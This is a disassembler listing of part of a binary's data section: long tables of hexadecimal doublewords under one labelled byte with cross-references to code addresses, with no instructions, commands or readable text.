dd 4301E3B9h, 9C6888E7h, 6E606BA5h, 8E570066h, 0D23E6793h
dd 30742E2Ah, 0F571DA07h, 5A40C5B6h, 7478FB32h, 71A9058h
dd 51DDB11Fh, 0EBA1C1D1h, 71188019h, 749D8DD9h, 0C34B0EBAh
dd 0C7AC9666h, 4600FC40h, 0DAB199D8h, 8B2833h, 0FE8648F5h
dd 39D4B98Fh, 41D2DE03h, 0C8A9F98Ch, 944A4Bh, 6ED38D7Bh
dd 452CF526h, 0E2052407h, 61F1236Fh, 79805A4Eh, 0D84B29Ah
dd 7E1DAB67h, 0C20F5DBAh, 0B46580E4h, 0D08C425Fh, 3DA12C99h
dd 8D67211Bh, 0F1DADDA8h, 60DB65F8h, 0A07D1934h, 91BD22Ah
dd 0B12076D3h, 80804358h, 73457ED8h, 0DA52D155h, 69F10598h
dd 77C19AAFh, 6CC44ABDh, 0FB35008Dh, 0A8E74B6Eh, 7F3DD885h
dd 5A940FFCh, 0E0938E98h, 7D5B4A34h, 2C0A30BCh, 22B07660h
dd 0F6249454h, 0F21A40h, 57C833E6h, 0FA9E2943h, 53882B50h
dd 59DBBD18h, 0E4C730h, 0DC2E3547h, 0A845B7D0h, 0E8CBF933h
dd 66600C31h, 0FE949DBh, 42603F78h, 1BADFB18h, 16EF063Eh
dd 0F16FE798h, 114C711Eh, 115D69CCh, 87E00FAh, 936FB3D2h
dd 763AD719h, 9EC0709Dh, 0F0749B71h, 8F0900F3h, 6373D0CCh
dd 0D146FE8h, 8024ED11h, 0B4440960h, 9902877Fh, 0E067095Eh
dd 60E0B7ECh, 2C253941h, 2273154Ah, 58437E06h, 761E796h
dd 7A4CAFF1h, 0F25280E1h, 0CB075E9h, 7F4E3700h, 90EF0F4Dh
dd 598F0F82h, 0DE002F3Ah, 3BF06F07h, 12C8DC01h
db 0F3h, 0AAh, 46h
byte_53004B db 13h ; DATA XREF: ___:0043F701o
; ___:0043FF11o
dd 0D9C5E0F2h, 61D60027h, 2FA0725Fh, 0A0374E3h, 0F8EBE4A4h
dd 0FB649BE6h, 0BF50883Ch, 8592489Bh, 5C170E0Eh, 4AA289C0h
dd 4907EA97h, 0AD2CB6Dh, 8BFA7500h, 0DA1203EFh, 0FB45A77h
dd 50D9F0F7h, 850E4579h, 0E0617F9Ch, 0CF3627C8h, 38B7BECh
dd 0EFA4C0BAh, 4EA033FBh, 0EA007C8Ah, 79E7671Ch, 4CC0B9E1h
dd 6E3C1F8Ch, 0D9A84E80h, 9170E2B0h, 7D1D3102h, 0C0BA3D58h
dd 34F641Eh, 1062B56Eh, 0F6BBED9Dh, 9BB9A2D0h, 15030D7Dh
dd 8D708018h, 41B80EEAh, 8AEE341Fh, 0AB453C0h, 20F65ECh
dd 0A0B84DA7h, 0C2EB49B6h, 0CA79000Fh, 0F18421B1h, 0A10040DAh
dd 0D942391Bh, 9BE759h, 1720A45h, 9F21FB4Bh, 98016298h
dd 0A6BFCE1Dh, 0B12016C2h, 2AC304BDh, 87D23C3Bh, 28DEB0C1h
dd 0EB061489h, 442CC4CAh, 6CED0040h, 49856858h, 4C00F898h
dd 0FED6EA4Eh, 7C7C6414h, 0B4411C38h, 6E1080C2h, 0BCAD6932h
dd 8A78D509h, 9B0E0009h, 0E61D2D1Eh, 56C203B7h, 66D51D1h
dd 8B40DEF2h, 4800FE29h, 92F8847Bh, 0A1B2C9h, 801AAC52h
dd 0A0900ADDh, 0C0B4800h, 0EAE42096h, 7EA72E43h, 29EE0551h
dd 7B5C0ACh, 4030E1C2h, 7564B8C6h, 743F2465h, 0C86E0000h
dd 0EA5F2F48h, 171AA900h, 68C4A15Bh, 1EB800B2h, 0AD32384Eh
dd 6900E73Ch, 5FDE427Fh, 3A43979Bh, 3E80E441h, 0D57A231Dh
dd 1C0007FAh, 0B0BD95BAh, 29AA59h, 6D281537h, 0D44E1462h
dd 0ACF7700h, 987D1A52h, 0B4ED00C9h, 883FE2F9h, 0F5793ED6h
dd 10BBC000h, 0ECEA069h, 2E70CAh, 3B61AE03h, 90259F80h
dd 30FB2FE0h, 2490A107h, 80A46939h, 79D29B4Eh, 0BED127h
dd 7D6B98F7h, 53FB75F2h, 0EC8320h, 0F6FD7F6h, 63A97221h
dd 3D67B700h, 0DC291AC3h, 116904E0h, 8019C652h, 787F740Ah
dd 0FD4D993Ah, 0E7219701h, 0DDF650E9h, 0D1E020h, 1A5346A9h
dd 638E42A8h, 68D0D930h, 18A02EF2h, 102D17C6h, 59077843h
dd 0D2A6B756h, 6CA4C09Fh, 1830AC1Ch, 0C8FB1573h, 0C61D42D1h
dd 41801646h, 8AAB5C97h, 0C0670022h, 0D13BD788h, 0AA0021FAh
dd 0EC902C4Ah, 8B45Bh, 0FCBCF818h, 0BD472244h, 8C535Ch
dd 87C7D92Ah, 23E011Fh, 6E793BCEh, 50487D59h, 0AE3F4A44h
dd 1FEA0051h, 346E78Fh, 8E9800A7h, 21BA42CCh, 0DE18E543h
dd 94F0DCFAh, 969CA120h, 709B11E8h, 0C7EA008Ah, 0ECFEB66Ch
dd 871F86E8h, 0F898B06h, 60C80EACh, 690E5201h, 0AA2E007Dh
dd 0E11FC057h, 0FA779855h, 4BE3600h, 0A205CA12h, 3F6900F3h
dd 2B1E5CD1h, 38AC17FBh, 628C2100h, 3EDFF5Bh, 0BE7C004Ah
dd 5F2CC371h, 6D00892Dh, 3552B541h, 7828A097h, 494F007Fh
dd 555CC918h, 2C077258h, 2EEC2431h, 0FC7ED270h, 0EA23F866h
dd 620A001Ch, 880E7181h, 3F1C2AF1h, 7D00784Ah, 2B2DCAC8h
dd 702209E9h, 858F7420h, 97886583h, 0DE101ED8h, 507BFF02h
dd 0A1180AD7h, 19B7DBDCh, 3E8670h, 1C9D1615h, 0EB321058h
dd 0A0234700h, 175E4940h, 77402ACh, 0D336F7CEh, 707330E1h
dd 2400AE20h, 0C58E0C7Eh, 0FCCE404h, 79CFDE30h, 1C644B92h
dd 8D287080h, 94C8180h, 882C503Ah, 18909F48h, 0B3AE8B70h
dd 0E559A5h, 1B95E103h, 7EC14955h, 0E45420F6h, 61CDD800h
dd 0C9F32C18h, 0ED4200B0h, 0B37BD33Ch, 4428A7CAh, 0AC7C850Bh
dd 1E5D1700h, 5F37702Eh, 73AF00DAh, 0C97FC7B7h, 0CF3A086Eh
dd 655E83E3h, 98178526h, 4D1A8283h, 1C4C8CC6h, 3F534702h
dd 6CC0FDC2h, 164C40CBh, 0B2270474h, 5CC75E6Dh, 7E19E1CFh
dd 74DB7DC0h, 2BFF00A8h, 46F3910Ch, 4703010Dh, 82FACF8Eh
dd 8E100DDh, 0FF73F79Fh, 0D5120D4Fh, 900143B7h, 0EA505EF1h
dd 0BC984880h, 5DA814F4h, 0D444F03h, 0E057E93Ah, 6FC9B1h
dd 33826042h, 22130797h, 184E0318h, 7E43AA0h, 3E2F3FA3h
dd 0C1CD8041h, 0D0064D1h, 0B211E35Eh, 718E9506h, 0C96E006Fh
dd 0CBF59B8Ch, 8B0022B3h, 0FC9625A0h, 756C97h, 19DBA15h
dd 6D3458FEh, 0AF126AF8h, 0C0002857h, 11933EF7h, 26FF236Eh
dd 0AA5B4B80h, 1D6DB8B1h, 44E82B4h, 8120EA72h, 802B8D20h
dd 44FA9430h, 92D121Ah, 5B8F824h, 626A3187h, 0C8E2C67Eh
dd 0B0C00487h, 1AE09737h, 8FE94C3Eh, 0C3B423C3h, 80ECA7B9h
dd 53CF5Eh, 0FDB8CCA5h, 33A04981h, 7CD10926h, 0B05B8380h
dd 0A14A87h, 62FE5830h, 0DB7B05A8h, 4625CB13h, 13D2F701h
dd 78701CDDh, 29700E07h, 2BC10A3h, 99AB35E7h, 0AC400C4Ah
dd 0C6B0412Eh, 0FFBCB401h, 6D0EC730h, 0D0063822h, 48157C0Fh
dd 243681Fh, 0D9593087h, 6982D49Ah, 0E8625650h, 3713324h
dd 0E26C6F14h, 58717803h, 0BEE44700h, 3643F50Fh, 0D65D00A5h
dd 516E240Ah, 403F1E1h, 0C23267A8h, 6517A10Dh, 49017823h
dd 29D84A4h, 0A7708019h, 0E83C7023h, 4AF424FFh, 9C750060h
dd 27D897EDh, 311FE0A8h, 267AD300h, 2B6A89A7h, 0FD5C09B5h
dd 1000ACB7h, 6B58607Ch, 84E46400h, 0E5DF5EE9h, 506A00C5h
dd 0FBF2BAC0h, 0B100F36Fh, 0D7D99E48h, 123421F6h, 0B440BCh
dd 0FE5286B8h, 0D101AF4Ch, 0F6F21038h, 6ACCAB2Eh, 0BB6100D3h
dd 11BF8BEDh, 0FC261243h, 0D70FFC81h, 0AFA4E58Ch, 306A6C8Ch
dd 6EC839C7h, 91009C87h, 76EF61F7h, 0BCF6A1h, 8029A7D9h
dd 0CEAD817Ch, 1F561B03h, 98CF270Dh, 3FD37206h, 0D4D47313h
dd 8294581Eh, 0E1FA6A01h, 0EC884504h, 0B901496Eh, 9C8A6BDFh
dd 0E054E539h, 0A9796D80h, 13A8018Ch, 7E9ADC4Ah, 0DF530B4h
dd 78E6E8BAh, 930CF8E2h, 38174910h, 48020BA6h, 8400BAEDh
dd 2F5045BEh, 94E9C22Eh, 20A89E8Fh, 0DC21FC73h, 58A505F0h
dd 8C312060h, 5B039AC8h, 81C1716Eh, 0B6C4FFA1h, 0A820488Dh
dd 144400E1h, 4730555Fh, 9898B6DBh, 401CA000h, 705D093Dh
dd 7015F024h, 770512E8h, 5EB40068h, 38619D66h, 338D2100h
dd 0FECE1474h, 2C77783Dh, 78E0650Ah, 7200E160h, 0E7617E64h
dd 1DC7AC51h, 0B8955Dh, 2780CDF8h, 30062B7h, 326D3E3Fh
dd 95E672h, 0D184F1AFh, 9ADE2B5Dh, 7A729F4Ch, 0E777CA07h
dd 8F9BA625h, 0C2EE6036h, 450F53h, 51DBBCAFh, 0D7B8BFFCh
dd 8C1E6BFAh, 9E40B029h, 637717DCh, 48E95886h, 8C6CACh
dd 0CB761DD1h, 0D0AC96B7h, 5F00787Eh, 8A870CF7h, 97BC91h
dd 4766DB40h, 0BD2D3358h, 0BC1CB03h, 80B87469h, 421F9F0h
dd 40724F2Ch, 1ECDA42h, 1854B566h, 1880D270h, 94C0B984h
dd 8163B65h, 521D8C55h, 67B4CE02h, 91A8E07Dh, 28BF9848h
dd 4F472ACh, 6E460DD9h, 9660907Eh, 0B902E0C9h, 5DAE6A01h
dd 4580A5A8h, 3BD3A48Ch, 0FC00EB0Ch, 0AF935979h, 700F62A3h
dd 20267F21h, 0DED2A6B6h, 8D651FE4h, 0B35082BAh, 0FC986490h
dd 30C03B7Ah, 2D014CE9h, 0A16E04BFh, 0C005315Dh, 0CB301C94h
dd 935CC271h, 1D9200A5h, 0F1F3C415h, 0D790ABh, 98CBE5A7h
dd 8A7F3A89h, 702DA206h, 3D60C16Fh, 3500AA8Fh, 0A1364783h
dd 60366FFh, 0BAF603E5h, 1190E0B1h, 9AD500B3h, 6A0D0289h
dd 0E50022A5h, 0FACD047Fh, 0C5D15Fh, 62EA42ADh, 0D46D0910h
dd 0A23A4600h, 0D6B6E84Bh, 8871E2Ch, 935DB7h, 33CB49ECh
dd 1013782h, 2BE1C3A7h, 0FBDBC487h, 74FBC84Bh, 8309243Fh
dd 77F10535h, 50B9C0EEh, 4100076Eh, 0E5AC7CA5h, 0A18FB8h
dd 806DFA46h, 61557090h, 73471901h, 0F6435F23h, 54D8A0F3h
dd 3B89C0Dh, 1CE65096h
dd 77D5C1D0h, 36007679h, 680612B1h, 41B79Bh, 7A69D7D3h
dd 72F85B10h, 8B979112h, 21453E07h, 0D2F15040h, 0C68F3E1Fh
dd 127F892h, 3D8CDE6Ch, 0B76EE86Fh, 24775226h, 0F765F980h
dd 15755884h, 10C1C3A3h, 0D0488BA1h, 0B1CBE5BFh, 811E00D4h
dd 7D80999Fh, 0EA6CFC57h, 0B17E22h, 8206A653h, 0F2D9C24Bh
dd 0B68B3100h, 4709148h, 0D4CA0AE5h, 32E9D5C8h, 58909C51h
dd 0E830644Dh, 7520CC46h, 7C900B37h, 0CC24F808h, 9254F45Ch
dd 8DA07064h, 97D3421Dh, 2C80B7D6h, 50FB696h, 501C70C0h
dd 3CD87Bh, 287395EDh, 25B4FAF3h, 77333600h, 7E291B10h
dd 0B04400C5h, 88DB4A4Bh, 0D7035599h, 2C0394FFh, 0A309C86Fh
dd 0B9DE0E93h, 80E06D77h, 0BC272F8Ah, 26609C00h, 0F67F2A45h
dd 0B8CBF2EEh, 1674E066h, 0B510C9h, 7A89A385h, 0E958522Ah
dd 83CB00B8h, 8633E472h, 3FABF81Ah, 0AD800CD5h, 54439CBAh
dd 0E4007F4Fh, 7A6A0373h, 0C0141E29h, 13F0E6E0h, 2700C9FBh
dd 20A2262Bh, 5A1E2D0h, 5DB6DF3Dh, 0B8968082h, 0C00F7A94h
dd 0B5F31636h, 107100B4h, 4F56E45Eh, 90300E0h, 0FE92BE5Fh
dd 8D801638h, 5DB800A0h, 87081BAh, 8AFC48B9h, 0FD91C100h
dd 3FAA6FF0h, 93A4004Ah, 92BFB00Fh, 0C90F7F64h, 0C28E4196h
dd 0C0EA3A87h, 5864C69h, 663EAA99h, 0D2E443E7h, 5BEB8303h
dd 0CEC98201h, 8851F95Ch, 5A835DCh, 0B19789FEh, 0AA8BE07Eh
dd 54EBC000h, 0E651664Ah, 0D76901DAh, 4CCAB82Eh, 658BC816h
dd 147DF00h, 0D9197BDEh, 818F178Ch, 0FD5B07F9h, 0D5A12032h
dd 0CD00EB59h, 0AE9A9B5Eh, 0F89293B2h, 7597067Fh, 4828B340h
dd 26DBC27h, 4874F4A8h, 9F228Ch, 5B5CA9F5h, 727A8D96h
dd 217F5903h, 17C466h, 0FDCFB2D8h, 3F43FAD0h, 2AE8E907h
dd 44D06B40h, 4A77795h, 0D2790254h, 0FE54900Ch, 0D00047E4h
dd 99EB764Ah, 7A5CBD3h, 0ABA3DA9Dh, 1AD830BBh, 7C142050h
dd 0FBED10h, 0CA86C7EBh, 0EBAFE0Ch, 3BEA0556h, 0C98F005Eh
dd 0A538200Bh, 5704BC00h, 1FECB30Fh, 82DC0089h, 1A4E477h
dd 5F904637h, 9AE2CE00h, 3E748F29h, 3C41384Ch, 0C1852A89h
dd 0AACEB180h, 8F031264h, 247A7CB8h, 0A110199h, 0D63EC9Ah
dd 1004C8B2h, 184B3A3Ah, 5520657Fh, 0FA2C0CBCh, 0AA604DA3h
dd 0CCED800h, 9EFD5C02h, 19BC1F59h, 56827A0Dh, 99A1448Ah
dd 0F215C3E0h, 570FCE13h, 8C330FBEh, 861B3483h, 7E88B064h
dd 4F2D8E60h, 4AD20610h, 2EA769B0h, 665AFA60h, 7434F42Fh
dd 0EDAA033Fh, 0D89193D1h, 6F69F8E0h, 3A7C3000h, 8D3C55B1h
dd 3B0D0060h, 783163A5h, 9200A3C6h, 0AF2FFDC1h, 35E4A12h
dd 4926D3E9h, 15E859E4h, 9E3BD986h, 6E3D003Ch, 0A4745A80h
dd 0E608007Ah, 57792B52h, 943821A5h, 3E9CBE92h, 566C001Ch
dd 4BE7B97Fh, 0E3BF2CEBh, 12A1D9Eh, 0E224CFA7h, 80D07163h
dd 798B6218h, 0F80354h, 12F1D21Bh, 0B29DC475h, 68E5100h
dd 93625901h, 321F002Ch, 0A7DD288Dh, 8FE8963Dh, 5321D300h
dd 0E29A5407h, 0E427980Dh, 0F31C00C1h, 0F9B23D1Fh, 0C873E9A4h
dd 4DEA1A7Ch, 0B038DB00h, 91DE23F6h, 0FBE41C2Eh, 7FC38080h
dd 62B86FDAh, 47062071h, 155C3BFEh, 0E7A50650h, 70305A1Bh
dd 69C4AE30h, 0F0C3D6D2h, 8FF458h, 182B366h, 0FF548C94h
dd 0E900B00h, 251AA218h, 0E22F44Eh, 0D565F6F3h, 7CD398A0h
dd 0E300DDE8h, 30B56EF2h, 0B6A05BEh, 0CC51E7CEh, 1970C321h
dd 54E9EB7Bh, 0B93E09Ch, 17EC7D0Fh, 7056A0DAh, 0B028F7F2h
dd 59E807h, 8501BE71h, 42600317h, 378F7C03h, 0ACD816h
dd 897A5A20h, 0F914D31h, 0D4BE2507h, 20E1E67Fh, 5A302F58h
dd 3826005Ch, 0BA59F67Ah, 8E007D6Eh, 53166241h, 0E813FF96h
dd 50E76157h, 0CC21259Bh, 23032FD7h, 5862C8C4h, 3C40EEC9h
dd 2D00BE0Fh, 0E620EF93h, 0B50032D5h, 31D91458h, 6C9AA0h
dd 0D7F91CFFh, 0DDDBEEACh, 754089C0h, 144810D1h, 885084FFh
dd 6018EE0Eh, 0C36E9BE0h, 0F30059C8h, 95E9D819h, 7F5AE802h
dd 0B50B0026h, 27C322A0h, 0DD00AACAh, 0B10A5C3Ch, 78B2E92h
dd 57D3B3B9h, 50724051h, 1400E6DCh, 8A1CD5CDh, 7E4B6377h
dd 0B1F40376h, 3BDA5EC5h, 99AFD0B8h, 8CFE6200h, 33F0E81Bh
dd 8DCB00B9h, 90CF4AC4h, 2A000530h, 73CD5A36h, 0FC9F91E4h
dd 1DB400C3h, 0E19C1075h, 0C0775CF7h, 0EE2F9600h, 614A6D1Bh
dd 7A40147h, 0A8B8BF89h, 16A5F0E3h, 8542D318h, 0B39A18h
dd 0A2E5DC6Ch, 0A58301C6h, 0DBE16700h, 30C59BB4h, 0DC983A40h
dd 0C3BC81Dh, 3E20A7AFh, 9E7058h, 5F69790Fh, 37F9A36h
dd 1D18198Bh, 69101C17h, 0BA3687D6h, 72216839h, 2DFACF5h
dd 3F603151h, 0A53C34A0h, 4217E166h, 7800CB6Fh, 370A9246h
dd 8F090010h, 0A1AD11F6h, 450F0687h, 0EA51A88h, 0DEFB85EFh
dd 47A72DC0h, 1BC70070h, 827D82Ch, 28744864h, 20F83E30h
dd 0C17909h, 0D2D8D1E2h, 0C8D6583h, 0EBCCD40Eh, 0CB326347h
dd 0E1FC0BFh, 6CAC007Fh, 405F5277h, 871CBBDCh, 0D4073B88h
dd 0CA71BDCBh, 23EDE21Bh, 0BBB892h, 439A862Ch, 2B0CEE72h
dd 0C05F8E75h, 0E2700EF6h, 94E06EA2h, 198905BDh, 25D37300h
dd 699862E0h, 3A59003Ch, 0CEBDBAFBh, 0DD00ADBEh, 0F4C4F283h
dd 5C0A2C58h, 3791F14h, 5451C58Ch, 72E331BEh, 68FC5DA0h
dd 0A70DA00h, 949C8D8Fh, 0BAB407ECh, 0D0C2E15Fh, 0BF7C4181h
dd 17183Bh, 94734DD6h, 128B5F3h, 50BE79C3h, 80D4A4B8h
dd 95612218h, 0E75CDDh, 0A56F26D1h, 0BEE65A9Ch, 0E429D005h
dd 38C0ACF0h, 9590579h, 12932F9Eh, 95FCF180h, 31790F98h
dd 0E2B23E00h, 0FBB38761h, 0A39803h, 0E08DA58h, 286BBBDBh
dd 10704BF0h, 8DEC2A0Eh, 29EB6025h, 0A462D6h, 0BFE1C56Eh
dd 0E23C33B4h, 911D3200h, 974FB7Dh, 7BE25Dh, 0C21971BCh
dd 9079D4BAh, 0F7021000h, 6694EE4Ch, 0C988C030h, 3AA5FC65h
dd 7D7CB216h, 172800FBh, 0EF1D6AE0h, 0FF049803h, 0E132EEDDh
dd 7D0935Eh, 0C85B00DEh, 0AC341FC0h, 35007E79h, 0FA782466h
dd 3771EE65h, 60282629h, 39A3450Dh, 9F0E6800h, 0FCE72590h
dd 0CC973BCh, 0BD85B838h, 8E000761h, 4775AB36h, 0E456708h
dd 892315F8h, 79B90380h, 5200EDD8h, 0B05EBEF4h, 656A0Bh
dd 0A3979893h, 79FC921Ch, 5034DB18h, 0F43AC419h, 5AE8E9C3h
dd 0A90A03BBh, 0EF5DC98Ah, 90CBC906h, 8162E8h, 1F8CB2AFh
dd 45538DA9h, 0A57E34E0h, 7D920100h, 0A40CF86Ah, 0D7B00021h
dd 1CA132C9h, 4003FDCCh, 0C27E9659h, 0C3BFC11Bh, 0D1580885h
dd 69D08067h, 54E652CFh, 0A0211700h, 5376D3F2h, 3DB5007Ch
dd 4B1FF837h, 0D1009364h, 0BCC73AE4h, 0E918410h, 0C6310820h
dd 0A985EA0h, 69E627C9h, 45BE4701h, 8237E15Bh, 0F5BAEE40h
dd 42A200EEh, 0C130399Eh, 60008356h, 0D8768407h, 15A55CFh
dd 0B04B410h, 0E0FB0F86h, 1600789Fh, 0AE322182h, 0D2E9FCh
dd 0F70A5E8Fh, 69FD45E3h, 0A1BE3400h, 647E4EEAh, 0D13E00F5h
dd 0B3D47B07h, 43003902h, 2D919E62h, 0ABB7215h, 9C932ED2h
dd 380801FCh, 0C03001FCh, 83008A26h, 0F9207FADh, 3C09CDD8h
dd 1026F042h, 8C590048h, 0BAC04569h, 0AE11761Fh, 0C9ED09h
dd 0DB61F444h, 0B6B51EC5h, 0F041C048h, 0FD4DB96Fh, 79D7A00h
dd 726A4796h, 0ACF5072Dh, 170BC609h, 7AFF9198h, 5FCC40E6h
dd 0F4031DDDh, 73DA4B5h
dd 0F2799102h, 0B9309CEDh, 0E0ECFA38h, 2F5C98F5h, 0E756F721h
dd 1B151600h, 797B37EBh, 25D50028h, 947FAB72h, 0A904EAF0h
dd 8EE6DD1Fh, 917E0880h, 0EC07BF31h, 8E3FE2Ah, 0CFB15DC1h
dd 4A94607Ch, 8E3EED60h, 0B8168F94h, 0EB6D0E63h, 8340C9CDh
dd 49D828A7h, 1E01C700h, 519E89D3h, 25030058h, 91A8543Fh
dd 840083C2h, 89EC6760h, 0EFC6E08h, 0D12C95A2h, 54CEA3E0h
dd 990131D2h, 1158253Eh, 8FC4073Ch, 447000F2h, 0FF399113h
dd 0B80CA577h, 2030DF56h, 9A7C001Bh, 0A18D9EFCh, 87010C3Ch
dd 0BA3E3669h, 99E07E6Bh, 7BFA00EEh, 6F770F12h, 0FE7061D2h
dd 0EDA34A00h, 7601D539h, 40553C54h, 88B3D100h, 0EE77E172h
dd 0A57614F0h, 1AF05C00h, 0AC3D209h, 0D06850B3h, 0E9F45Dh
dd 4CB06BBCh, 0D685DDE5h, 0A4D5D4A8h, 0E6EA0A00h, 0C88B9971h
dd 627900C2h, 1E2122B9h, 2F771490h, 0DB012B00h, 187BFC04h
dd 0DD611E79h, 874580D8h, 0BDF341F1h, 0C59F2201h, 0A67D5AF7h
dd 0EB849ECh, 5DA35B51h, 47E1CB00h, 0DF00A97Ah, 0C99161E7h
dd 101FEBEh, 0B6A55C49h, 30F8D15Fh, 721D3FE7h, 0C0F014D3h
dd 742F0E6Bh, 0C50700BDh, 0E2091F75h, 4700F225h, 0B06FD61Ch
dd 3E11B10h, 0DFA2C8E4h, 6AC84F43h, 0AE3BD5F4h, 3800FA9Bh
dd 1A8EFC3h, 0C77D0Dh, 0ECD657Bh, 0B23CD184h, 0F371000h
dd 0DC92AB7Eh, 9008514Ah, 3DC8D0h, 0D51857E8h, 0DABD64D2h
dd 0DDE02A01h, 24AB542Ch, 206A2A87h, 0D03767A5h, 71DC9689h
dd 251BC100h, 21FE978Ch, 1CFC0079h, 0C3A84F22h, 46793886h
dd 3517A617h, 401D3F0Fh, 255FBE18h, 0CA948E6h, 34506D00h
dd 6CEF7280h, 3DF99500h, 977A263h, 41080029h, 66692DE7h
dd 1D001598h, 0A260BDF0h, 38C823F7h, 0D8BE8807h, 11B0B600h
dd 1AF9E0E2h, 92714D00h, 0BC8DF4CFh, 0D6CD0433h, 0C07DDEF8h
dd 156184CBh, 0B8BE2B00h, 48D06880h, 0B2D20A78h, 0C81D9Dh
dd 7958F08Bh, 12587F5Ch, 0E4070F80h, 0A35E601Ah, 4D9A51h
dd 45F87788h, 1735AE37h, 0B484E700h, 0ECDF0439h, 0A33E007Ah
dd 4BB9A016h, 326E1F0h, 0D300D045h, 125211FCh, 0B541001Eh
dd 6CAB8E27h, 4D0009BEh, 0D938B14h, 0A1A04Fh, 4B8F5750h
dd 72C1472Bh, 0A4383300h, 874865BDh, 126C165Ah, 601C407Eh
dd 0A11A7B22h, 4F612700h, 187045CCh, 9A7700A9h, 0D0C1FDEDh
dd 0C50042C9h, 975452D1h, 629C4Ch, 3460EE2Eh, 6A9DE7B1h
dd 0B81A5100h, 0FE51BE4h, 2460018h, 6E390D7Fh, 0AE00164Ch
dd 8D1126E2h, 0C6DD41h, 12A453D7h, 2EA7C3C0h, 0B75DC200h
dd 5B3E24E5h, 6730Ah, 119EA57Fh, 0EEDC9BC4h, 66047D07h
dd 0D21019C8h, 0C7CB36h, 18BB978Ah, 69952BBCh, 220183FEh
dd 0B47D5E2Ch, 63DCE1B7h, 4C121F72h, 15E34046h, 19ADDA59h
dd 0C3779900h, 987DB870h, 75EC0060h, 6FB52973h, 7003438h
dd 0E3B6506Bh, 0B836B244h, 0A973003Ah, 6F055767h, 74004145h
dd 960B03BCh, 0E09BB966h, 0E668021Ah, 0FBB5272Bh, 72CD6C87h
dd 44167D2h, 3482D18Eh, 0C901DDF4h, 695D0166h, 7280BB4Fh
dd 8EE3488Dh, 0D8000B11h, 88F9BC40h, 0D8449h, 4BFD7855h
dd 571FC714h, 1B002774h, 2D97CF38h, 4DEFA96Bh, 0BA1E8070h
dd 42F09D93h, 2A3DD9B9h, 2F535260h, 80666439h, 0ABEE4E2h
dd 1D1173h, 0D801BC6Fh, 6195CA85h, 79FDC300h, 7FEDA259h
dd 5D0907Eh, 600A622Ah, 0BFDC0030h, 3F809E24h, 41B31403h
dd 0F9440975h, 0E8814B72h, 0AF586DDFh, 0F4F031FAh, 5E005969h
dd 642B50BDh, 7BE15C3h, 3587E15Ch, 700DB3C8h, 6FBBA90h
dd 67D8EF01h, 12B9CFC6h, 0F4D230h, 218FA75Dh, 1C8BF7AAh
dd 0F1A45601h, 0B139AF9h, 0FE28864h, 0CBA26848h, 976B1F80h
dd 88044C42h, 9CFA7994h, 806240C0h, 56FB3F8Eh, 9550075h
dd 0AFBB7A57h, 9D00CFCDh, 0C1769E3Dh, 0D0422Bh, 5BD31F4Fh
dd 0AAA890Bh, 2210909h, 61648072h, 18BBD53h, 80B7E449h
dd 81BECAD4h, 0A408AF11h, 0DDD4AB64h, 72D7136Eh, 6B804087h
dd 0EAC632CBh, 0FD65831Ah, 6CE360A0h, 11900EFh, 265ABFCDh
dd 212C3546h, 2F0BBD75h, 16F080D4h, 17DC21Ch, 0F4EC08D7h
dd 6038BB8Ch, 5F0010B8h, 972D04A8h, 40E47Fh, 32067C1Fh
dd 23FAAB2Bh, 3F4AF800h, 7E373D29h, 71170389h, 0B32E8CD9h
dd 59CB47D0h, 800085E4h, 1D12C024h, 0F0DBA5BAh, 97960314h
dd 0A11F94D3h, 0E29BD5F3h, 483490A0h, 1473E38h, 0D7B30940h
dd 0F9F89D7Eh, 3592017Ah, 0D28F0EF8h, 0ADD0438Dh, 451801D1h
dd 1F60CDA0h, 8588304h, 0E9100C4Fh, 0D36A5045h, 0EA3A4800h
dd 0F5864453h, 0ACA91F11h, 0EF3D80BAh, 0A3ED7D29h, 2485AD0Bh
dd 434C8118h, 382068B1h, 0D66C0002h, 896D5FF4h, 5B04463Ah
dd 3E40FC61h, 0E8C2A980h, 0B3EA00E4h, 4BC6B969h, 4D004318h
dd 2C819884h, 0F4C0F695h, 9E570402h, 87176108h, 0DC89E0F8h
dd 0F00CB34h, 2C7AE0E6h, 0FEBDAA77h, 2EA40020h, 27673D18h
dd 6C050E59h, 6BF58B92h, 0B67C81C0h, 192E0F5Eh, 0BF40DBFBh
dd 268325B3h, 15495300h, 8E2A1F58h, 70D81D66h, 7C348113h
dd 0E0DBB837h, 26004290h, 547428BCh, 1AC6B8Eh, 32EF2C6Eh
dd 0E8F00818h, 0A201A8B6h, 4134F923h, 9E8C880h, 1E8D00FFh
dd 0D55B8202h, 0E200E197h, 75A6434Eh, 484914B3h, 0F400CCC0h
dd 2412AD7Dh, 88006BD6h, 0B6ECE066h, 3DAB6C3Dh, 7400710Dh
dd 6908124Ah, 0D0006EA1h, 358B846Fh, 0FBE991Fh, 0C367E6C6h
dd 0E789DF81h, 0F087F640h, 0BA02F054h, 9300B6E2h, 0D8D9F01h
dd 242FC15h, 0B4F909AFh, 8481F24h, 2200334Ch, 0B20E62A1h
dd 14EB9CEDh, 0D48ED884h, 2C09EC02h, 9381C9FEh, 0E8D0119Fh
dd 0DF00A669h, 4F9D8BCBh, 0E4C5AAh, 0C4DD5618h, 23BE7DBAh
dd 1A270E03h, 0D879240Ch, 719D0FAh, 492E3E61h, 45849068h
dd 10001A78h, 8CB84D96h, 2628165Fh, 1E885331h, 0C17BC076h
dd 4C5CA440h, 4348C601h, 0E92E605Fh, 25C082E4h, 4C004A81h
dd 9BB5F71Dh, 0C1193C00h, 25B09A50h, 5C8505D3h, 0C0B27ED1h
dd 6B997250h, 6815B300h, 59B9076Fh, 90FE00A9h, 3EA7CE81h
dd 9D767F76h, 0F622BF02h, 0A0DEDCB4h, 8FCDF194h, 0D0C14C16h
dd 0AD335100h, 7B4E12A9h, 0D2FC6600h, 0D1C3DF10h, 7C8F1DA1h
dd 2E9280A6h, 0F66C2F3Bh, 14026E00h, 81D10C11h, 0EC544C9Ch
dd 0A1984200h, 0A58286C4h, 9B1E9390h, 92804DE1h, 4091CBB2h
dd 0E06FA45h, 835CAF33h, 0EE381160h, 5B075A96h, 0B6E8A8F1h
dd 8CE08FC7h, 0FF88033h, 5CB5EDB4h, 0B04B9B47h, 0A6769223h
dd 801D47Fh, 34263E1h, 2C308543h, 0EE9800E9h, 0CAC61F4h
dd 5003B04Fh, 6EEDE8FEh, 0D539E02Ah, 4D3F2EEh, 82266295h
dd 0DAD0901Ch, 9B2EAAC2h, 0BC03E006h, 0D0C8E312h, 0FA3D92h
dd 34EE8795h, 3B17AF5Ah, 281A3830h, 31404FFh, 0B141EF7Eh
